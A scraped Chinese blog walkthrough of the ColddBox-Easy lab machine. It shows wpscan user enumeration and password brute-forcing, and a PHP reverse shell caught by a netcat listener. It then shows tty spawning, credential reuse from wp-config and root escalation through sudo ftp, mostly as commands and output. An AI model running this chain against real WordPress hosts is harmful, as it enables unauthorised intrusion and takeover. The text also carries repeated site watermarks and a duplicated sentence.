WordPress 漏洞利用與后滲透。愛掏網 - it200.com
突破口
滲透這類 CMS 網站時,不要上來就狂掃,它大部分目錄都是固定的,開源去看對應版本,商業的找幾篇文章。愛掏網 - it200.com特別 注意的是一定先去找對應版本漏洞,不要自己手工測基本行不通的。愛掏網 - it200.com
從收集到的信息里可以找到這個登入口,基于之前的 WordPress 滲透經驗登入口是可以爆破的,滲透過程要記住 每個可能的點都要去嘗試,都嘗試一遍后沒結果繼續深入嘗試。愛掏網 - it200.com
$ wpscan --url practical.secself.com --enumerate...[i] User(s) Identified:[+] the cold in person | Found By: Rss Generator (Passive Detection)[+] hugo | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)[+] philip | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)[+] c0ldd | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)...
使用 WordPress 專用掃描探測工具 wpscan ,從結果里可以看出枚舉出三個用戶,但密碼未知。愛掏網 - it200.com工具怎么知道這幾 個賬戶的存在,這是基礎漏洞,在金融、銀行等大公司這個漏洞是致命的。愛掏網 - it200.com
ERROR: Invalid username. Lost your password?
ERROR: The password you entered for the username c0ldd is incorrect. Lost yourpassword?
上面兩個提示可以判斷出用戶是否存在,這幾乎是開發人員最容易忽視的問題,在注冊、找回密碼和登入等涉及用戶的接口非常常?。愛掏網 - it200.com
打點
開始爆破登入接口,還是使用 wpscan 工具,也可以用bp。愛掏網 - it200.com
ERROR: The password you entered for the username c0ldd is incorrect. Lost yourpassword?$ wpscan --url practical.secself.com --usernames c0ldd --passwords xato-net-10-million-passwords-100000.txt...[+] Performing password attack on Wp Login against 1 user/s[SUCCESS] - c0ldd / 9876543210Trying c0ldd / cowboys1 Time: 00:00:44
最后爆破用戶 c0ldd 成功,拿到密碼登入到后臺,直接反彈 shell 到 kali 上,腳本地址。愛掏網 - it200.com
https://github.com/pentestmonkey/php-reverse-shell
最后爆破用戶 c0ldd 成功,拿到密碼登入到后臺,直接反彈 shell 到 kali 上,腳本傳送?。愛掏網 - it200.com
拿到shell準備開始提權
$ nc -lvnp 9001listening on [any] 9001 ...connect to [192.168.2.104] from (UNKNOWN) [192.168.2.106] 51414Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2024x86_64 x86_64 x86_64 GNU/Linux 06:55:10 up 1:08, 0 users, load average: 0.02, 0.01, 0.02USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATuid=33(www-data) gid=33(www-data) groups=33(www-data)...
提權
還是老一套,從 sudo 開始嘗試,提示 no tty present
需要創建一個 tty 命令行。愛掏網 - it200.com
使用 python 創建一個 tty 控制臺,用于 sudo 提權
python3 -c import pty;pty.spawn(/bin/bash)
使用 sudo -l 發現需要使用密碼,在機器上收集一些密碼信息。愛掏網 - it200.com
$ sudo -lsudo: no tty present and no askpass program specifiedwww-data@ColddBox-Easy:/$ sudo -lsudo -l[sudo] password for www-data:
找到 WordPress 配置信息,看下數據庫用戶名和密碼是否與系統賬戶重合
...
// ** MySQL settings - You can get this info from your web host ** ///** The name of the database for WordPress */define(DB_NAME, colddbox);/** MySQL database username */define(DB_USER, c0ldd);/** MySQL database password */define(DB_PASSWORD, cybersecurity);/** MySQL hostname */define(DB_HOST, localhost);...
成功切換到 c0ldd 用戶,繼續使用 sudo 提權
$ sudo -lsudo -l[sudo] password for c0ldd: cybersecurityCoincidiendo entradas por defecto para c0ldd en ColddBox-Easy: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binEl usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy: (root) /usr/bin/vim (root) /bin/chmod (root) /usr/bin/ftp
ftp提權成功,拿到root權限
$ sudo ftpsudo ftpftp> !/bin/bash!/bin/bash# ididuid=0(root) gid=0(root) grupos=0(root)